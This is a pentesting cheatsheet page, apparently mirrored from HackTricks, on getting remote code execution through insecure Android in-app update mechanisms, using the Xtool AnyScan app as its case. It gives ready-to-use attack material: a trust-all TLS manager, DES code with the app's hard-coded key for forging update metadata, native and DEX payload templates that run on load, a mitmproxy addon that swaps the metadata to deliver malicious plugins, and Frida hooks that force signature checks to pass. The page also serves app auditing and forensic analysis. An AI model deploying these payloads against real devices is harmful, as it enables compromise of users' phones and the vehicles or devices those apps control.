repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
insecure-in-app-update-rce.mdMarkdown316 lines19.4 KiBsource raw download

title: "Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins" section: "Mobile" sectionSlug: "mobile-pentesting" sourcePath: "src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins#

Many Android applications implement their own “plugin” or “dynamic feature” update channels instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept or tamper with the update traffic can supply arbitrary native or Dalvik/ART code that will be loaded inside the app process, leading to full Remote Code Execution (RCE) on the handset – and in some cases on any external device controlled by the app (cars, IoT, medical devices …).

This page summarises a real‐world vulnerability chain found in the Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement.


0. Quick triage: does the app have an in‑app updater?#

Static hints to look for in JADX/apktool:

Runtime hooks to confirm:

// Frida: log native and dex loading
Java.perform(() => {
  const Runtime = Java.use('java.lang.Runtime');
  const SystemJ = Java.use('java.lang.System');
  const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

  SystemJ.load.overload('java.lang.String').implementation = function(p) {
    console.log('[System.load] ' + p); return this.load(p);
  };
  SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
    console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
  };
  Runtime.load.overload('java.lang.String').implementation = function(p){
    console.log('[Runtime.load] ' + p); return this.load(p);
  };
  DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
    console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
    return this.$init(dexPath, optDir, libPath, parent);
  };
});

Fast filesystem triage on a rooted / debuggable target:

adb shell run-as <pkg> sh -c 'find files code_cache no_backup app_* -maxdepth 5 \( -name "*.dex" -o -name "*.jar" -o -name "*.apk" -o -name "*.so" \) -ls 2>/dev/null'
adb shell run-as <pkg> sh -c 'find files -maxdepth 5 \( -path "*splitcompat*" -o -path "*local_testing*" -o -path "*codepush*" -o -path "*expo*" \) -print 2>/dev/null'

1. Identifying an Insecure TLS TrustManager#

  1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
  2. Look for a custom TrustManager or HostnameVerifier that blindly trusts every certificate:[1]
public static TrustManager[] buildTrustManagers() {
    return new TrustManager[]{
        new X509TrustManager() {
            public void checkClientTrusted(X509Certificate[] chain, String authType) {}
            public void checkServerTrusted(X509Certificate[] chain, String authType) {}
            public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
        }
    };
}
  1. If present the application will accept any TLS certificate → you can run a transparent MITM proxy with a self-signed cert:
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

If TLS pinning is enforced instead of unsafe trust-all logic, see:

Android Anti Instrumentation And Ssl Pinning Bypass

Make Apk Accept Ca Certificate


2. Reverse-Engineering the Update Metadata#

In the AnyScan case each app launch triggers an HTTPS GET to:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

The response body is an XML document whose <FileData> nodes contain Base64-encoded, DES-ECB encrypted JSON describing each available plugin.[1]

Typical hunting steps:

  1. Locate the crypto routine (e.g. RemoteServiceProxy) and recover:
    • algorithm (DES / AES / RC4 …)
    • mode of operation (ECB / CBC / GCM …)
    • hard-coded key / IV (commonly 56‑bit DES or 128‑bit AES constants)
  2. Re-implement the function in Python to decrypt / encrypt the metadata:[1]
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
    cipher = DES.new(KEY, DES.MODE_ECB)
    return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
    cipher = DES.new(KEY, DES.MODE_ECB)
    return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Notes seen in the wild (2023–2025):


3. Craft a Malicious Plugin#

3.1 Native library path (dlopen/System.load[Library])#

  1. Pick any legitimate plugin ZIP and replace the native library with your payload:[1]
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
    __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
    // spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Update the JSON metadata so that "FileName" : "PWNED.zip" and "DownloadURL" points to your HTTP server.
  2. Re‑encrypt + Base64‑encode the modified JSON and copy it back inside the intercepted XML.

3.2 Dex-based plugin path (DexClassLoader)#

Some apps download a JAR/APK and load code via DexClassLoader. Build a malicious DEX that triggers on load:

// src/pwn/Dropper.java
package pwn;
public class Dropper {
    static { // runs on class load
        try {
            Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
        } catch (Throwable t) {}
    }
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

If the target calls Class.forName("pwn.Dropper") your static initializer executes; otherwise, reflectively enumerate loaded classes with Frida and call an exported method.

3.3 In-memory DEX loaders#

Some modern updaters decrypt a payload into a ByteBuffer and instantiate InMemoryDexClassLoader instead of writing a final JAR/APK to disk. This removes easy filesystem artefacts and, on Android 14+, can also sidestep file-path-focused DCL hardening because the final code blob never exists as a normal writable DEX path.

Java.perform(() => {
  const IMDCL = Java.use('dalvik.system.InMemoryDexClassLoader');
  const ctor = IMDCL.$init.overload('java.nio.ByteBuffer', 'java.lang.ClassLoader');
  ctor.implementation = function(buf, parent) {
    console.log('[InMemoryDexClassLoader] capacity=' + buf.capacity());
    return ctor.call(this, buf, parent);
  };
});

When this fires, pivot backwards into the decrypt/decompress routine that produced the ByteBuffer; the exploitable primitive is usually still a tamperable archive, encrypted blob, or attacker-controlled metadata field.


4. Deliver the Payload with mitmproxy#

addon.py example that silently swaps the original metadata:[1]

from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
    if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
        flow.response = http.Response.make(
            200,
            MOD_XML,
            {"Content-Type": "text/xml"}
        )

Run a simple web server to host the malicious ZIP/JAR:

python3 -m http.server 8000 --directory ./payloads

When the victim launches the app it will:

Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature.


4.1 Bypassing signature/hash checks (when present)#

If the updater validates signatures or hashes, hook verification to always accept attacker content:

// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
  const Sig = Java.use('java.security.Signature');
  Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
  const Arrays = Java.use('java.util.Arrays');
  Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

Also consider stubbing vendor methods such as PluginVerifier.verifySignature(), checkHash(), or short‑circuiting update gating logic in Java or JNI.


5. Other attack surfaces in updaters (2023–2026)#

5.1 Trusted updater abuse: installing packages that do not exist yet#

Do not test only replacement updates. A preinstalled or privileged updater may deserialize a remote Boolean/enum that decides whether the target package must already exist. If the backend can select an “install when absent” branch (for example, installNotExists=true), the update channel becomes an arbitrary new-APK installation primitive, even if the normal workflow appears limited to maintaining firmware packages. Trace the complete path from MQTT/push-message parsing through the package-existence check, download destination and PackageInstaller/PackageManager call.[3]

Preserve the updater cache and correlate every newly introduced package with its recorded installer. Android's pm list packages -i option exposes the installer identity; on a rooted or forensic image, compare this with the APKs staged below the updater's external cache.[3][4]

UPDATER=com.vendor.updater; SUSPECT=com.example.suspect
adb shell 'pm list packages -i | sort'
adb shell "find /sdcard/Android/data/$UPDATER/cache/push/apk -type f -ls 2>/dev/null"
adb shell "pm path $SUSPECT; dumpsys package $SUSPECT"

Treat the installer identity as provenance, not privilege inheritance: a downloaded APK normally executes under its own UID and declared/granted permissions. Do not report execution with the updater's system privileges unless shared UID, platform signing, an exported privileged bridge or another explicit escalation path proves it.[3]

5.2 Recovering staged payload families#

A downloaded file's extension is not a reliable type signal. Start from the loader's reads and deserializer: one observed staged format used a one-byte string key, a four-byte floating-point value reused as an XOR key, and then encrypted DEX bytes. Embedded droppers may also split ciphertext into blocks and derive each single-byte key linearly (key_i = (key_0 + i * step) & 0xff). Reimplement the exact loop, deserialize the recovered metadata, and validate output with DEX/ZIP magic before decompilation.[3]

Predictable version strings in payload URLs are also an analysis surface. If a captured path contains a directly editable value such as dex3.68.png, enumerate nearby versions only in an authorized sinkholed/lab copy, then record HTTP status, hash, decoded magic and entry point. Diff recovered versions for header-layout, decoder, C2, class/method and capability changes; a decoder change in an older payload can reveal a previously unknown intermediate loader.[3]

5.3 Configuration-driven reflective modules#

Look beyond hard-coded command handlers. A compact implant can receive integer task IDs, fetch JSON definitions only for unknown or newer timestamped versions, and persist them in SharedPreferences; a field such as tagName then selects handlers for HTTP, WebView/JavaScript or module loading. During analysis, dump the preferences XML and correlate ID/version changes with descriptor-fetch requests and reflective calls.[3]

For module loaders, trace attacker-controlled url, module name, entry class, factory/virtual method, typed arguments, cleanup list, thread and reload flags. An MD5/SHA value delivered in the same attacker-controlled task object as the payload URL detects corruption but does not authenticate code: the operator controls both values. Successful reflection gives replaceable code execution in the implant process and permission context.[3]

5.4 Platform changes that change exploitation#


6. Post-Exploitation Ideas#


Detection & Mitigation Checklist (blue team)#


References#